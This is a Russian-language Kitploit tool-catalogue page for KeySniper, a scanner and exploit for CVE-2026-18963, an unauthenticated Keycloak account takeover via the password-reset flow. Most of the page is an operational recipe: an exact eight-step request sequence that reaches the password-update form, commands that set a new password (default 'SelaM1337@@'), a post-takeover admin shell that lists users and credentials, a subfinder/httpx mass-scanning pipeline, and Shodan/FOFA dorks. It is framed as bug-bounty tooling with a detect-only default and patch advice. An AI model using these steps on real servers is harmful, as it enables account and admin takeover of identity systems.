Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
KeySniper — **CVE-2026-18963** — неаутентифицированный захват учётной записи Keycloak через поток сброса учётных данных. | Kitploit
Инструменты/GitHubGitHub/ynsmroztas/keysniper
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияRed Teaming
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — неаутентифицированный захват учётной записи Keycloak через поток сброса учётных данных.

Репозиторий
35 ч 16 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

KeySniper

KeySniper

Автор: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — неаутентифицированный захват учётной записи Keycloak через поток сброса учётных данных.

KeySniper — это ориентированный на продакшн сканер для баг-баунти в рамках программы и авторизованных оценок: живой радарный вывод, обнаружение realm, определение «обнаружено vs захвачено», интерактивная оболочка после ATO и конвейер stdin (subfinder → httpx → KeySniper).

Режим по умолчанию — detect (--takeover 0). --takeover 1 изменяет пароль учётной записи на целевом хосте.


Уязвимость

ПолеЗначение
CVECVE-2026-18963
CWECWE-640 — Слабый механизм восстановления пароля
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
ПродуктKeycloak / Red Hat SSO
Исправлено в26.7.2, 26.6.6, 26.4.15
АутентификацияНе требуется

Сцеплены две ошибки:

  1. tryAnotherWay сохраняет общую заметку-селектор "true", которая не привязана к идентификатору выполнения.
  2. ResetCredentialEmail.action() вызывает context.success() без проверки ACTION_TOKEN_USER_ID.

Результат: неаутентифицированный вызывающий может принудительно запустить поток сброса пароля для известного имени пользователя и попасть на UPDATE_PASSWORD, не переходя по ссылке из письма.

Сигнал подтверждения

Сканирование — это не «существует ли forgot-password». Подтверждение:

  • форма селектора повторно отображается на исходном URL сброса
  • UUID execution= изменяется (утечка выполнения email)
  • ответ содержит kc-passwd-update-form
root@kitploit:~
exec3 = 28e2cd30-…   (первый селектор)
exec6 = 8fd21174-…   (поворотный GET)
         UPDATE_PASSWORD

Возможности

  • Живой журнал [radar] (Location, JS, заголовки, проверка realm)
  • Обнаружение realm: 302 Location + HTML/JS + well-known + словарь
  • Автоопределение префикса /auth
  • Конвейер: URL из stdin от httpx / subfinder
  • Фильтр ложных срабатываний: тело Keycloak требуется до перебора realm
  • --takeover 0 только обнаружение
  • --takeover 1 установка пароля (по умолчанию SelaM1337@@)
  • --shell интерактивная оболочка токена / помощник admin API после ATO
  • Цветные бейджи: VULN / ATO красный, SAFE зелёный, SKIP жёлтый

Установка

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Требуется Python 3.9+.


Использование

root@kitploit:~
# обнаружение (без изменения пароля)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# захват + интерактивная оболочка
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# realm / пользователь
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# конвейер
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# файл со списком
python3 KeySniper.py -l urls.txt --takeover 0 -q

Флаги

Не передавайте --takeover 1 или --shell при конвейерном дампе.


Поток (8 шагов)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → href forgot-password (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<user>
[5] GET  startSessionPolling / restart (если присутствует)
[6] GET  исходный URL reset-credentials  (поворот)
         → повторный рендер селектора + новый execution=
[7] POST устаревший селектор (без action token)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (только если --takeover 1)
         → HTTP 302 + code=  ⇒ ATO

Вывод

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update не считается VULN.


Интерактивная оболочка

Открывается только после [ATO] на одиночной цели:

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

Использует предоставление пароля владельца ресурса (admin-cli, затем account).
HTTP 403 на /admin/realms означает, что Direct Access Grants / роль администратора ограничены — ATO всё ещё может быть действительным.


Обнаружение

  1. Проверка /realms/master, затем /auth/realms/master
  2. Сбор realm из Location, HTML, JS, "realm":, issuer
  3. Словарь (~70 имён) только после fingerprint Keycloak
  4. Сохранение realm, где /realms/{name} возвращает 200 + тело Keycloak

Fingerprints / разведка

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (в рамках программы):

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

Ложные срабатывания

  • Любой 200 на / игнорируется, если в теле нет issuer / public_key / login-actions
  • Отсутствие forgot-password → SKIP (в realm сброс отключён)
  • Утечка селектора без kc-passwd-update-form → SKIP
  • Пути httpx обрезаются до origin (/auth сохраняется)

Затронутые версии

Keycloak < 26.7.2 (также 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Смягчение: отключите Forgot Password во всех realm, затем обновитесь.

Скриншот в этом репозитории отредактирован (заполнитель sso.lab.local). Токены, пароли, email и реальные хосты не публикуются.


Автор

Mitsec
X: x.com/ynsmroztas


Лицензия

Исследовательское использование на авторизованных целях в рамках программы. Не запускайте --takeover 1 на хостах вне скоупа.

Скачать инструмент
ФлагПо умолчаниюНазначение
-u URL—Одиночная цель
-l FILE—Список URL
stdinавтостроки httpx (первое поле = URL)
--takeover 0|10Обнаружение vs изменение пароля
-U USERadminЦелевое имя пользователя
-r REALMautoПринудительный realm или обнаружение
--passSelaM1337@@Новый пароль, если takeover=1
-t N4Потоки конвейера
-qвыклТолько результаты
--shellвыклОболочка после ATO (одиночная цель)
СтатусЗначение
VULNПоворот + UPDATE_PASSWORD (пароль не изменён)
ATOШаг 8 выполнен успешно
SAFEСброс открыт, устаревшего селектора нет (исправлено)
SKIPНе Keycloak / сброс отключён / утечка без формы UPDATE
FAILСетевая / непредвиденная ошибка